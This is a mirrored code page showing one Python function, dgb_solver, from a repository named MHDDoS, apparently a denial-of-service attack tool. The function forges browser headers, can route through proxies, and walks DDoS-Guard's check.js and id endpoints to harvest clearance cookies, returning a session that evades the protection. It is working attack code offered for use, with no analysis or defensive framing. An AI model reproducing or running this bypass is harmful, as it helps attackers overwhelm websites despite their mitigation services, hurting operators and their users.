mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 03:32:32 +08:00
56 lines
2.2 KiB
Python
56 lines
2.2 KiB
Python
@staticmethod
|
|
def dgb_solver(url, host, ua, pro=None):
|
|
s = None
|
|
idss = None
|
|
with suppress(Exception), Session() as s:
|
|
if pro:
|
|
s.proxies=pro
|
|
hdrs = {
|
|
"User-Agent": ua,
|
|
"Accept": "text/html",
|
|
"Accept-Language": "en-US",
|
|
"Connection": "keep-alive",
|
|
"Sec-Fetch-Dest": "document",
|
|
"Sec-Fetch-Mode": "navigate",
|
|
"Sec-Fetch-Site": "none",
|
|
"Sec-Fetch-User": "?1",
|
|
"TE": "trailers",
|
|
"DNT": "1"
|
|
}
|
|
with s.get(url, headers=hdrs) as ss:
|
|
for key, value in ss.cookies.items():
|
|
s.cookies.set_cookie(cookies.create_cookie(key, value))
|
|
hdrs = {
|
|
"User-Agent": ua,
|
|
"Accept": "*/*",
|
|
"Accept-Language": "en-US,en;q=0.5",
|
|
"Accept-Encoding": "gzip, deflate",
|
|
"Referer": url,
|
|
"Sec-Fetch-Dest": "script",
|
|
"Sec-Fetch-Mode": "no-cors",
|
|
"Sec-Fetch-Site": "cross-site"
|
|
}
|
|
with s.post("https://check.ddos-guard.net/check.js", headers=hdrs) as ss:
|
|
for key, value in ss.cookies.items():
|
|
if key == '__ddg2':
|
|
idss = value
|
|
s.cookies.set_cookie(cookies.create_cookie(key, value))
|
|
|
|
hdrs = {
|
|
"User-Agent": ua,
|
|
"Accept": "image/webp,*/*",
|
|
"Accept-Language": "en-US,en;q=0.5",
|
|
"Accept-Encoding": "gzip, deflate",
|
|
"Cache-Control": "no-cache",
|
|
"Referer": url,
|
|
"Sec-Fetch-Dest": "script",
|
|
"Sec-Fetch-Mode": "no-cors",
|
|
"Sec-Fetch-Site": "cross-site"
|
|
}
|
|
with s.get(f"http://{host}/.well-known/ddos-guard/id/{idss}", headers=hdrs) as ss:
|
|
for key, value in ss.cookies.items():
|
|
s.cookies.set_cookie(cookies.create_cookie(key, value))
|
|
return s
|
|
|
|
return False
|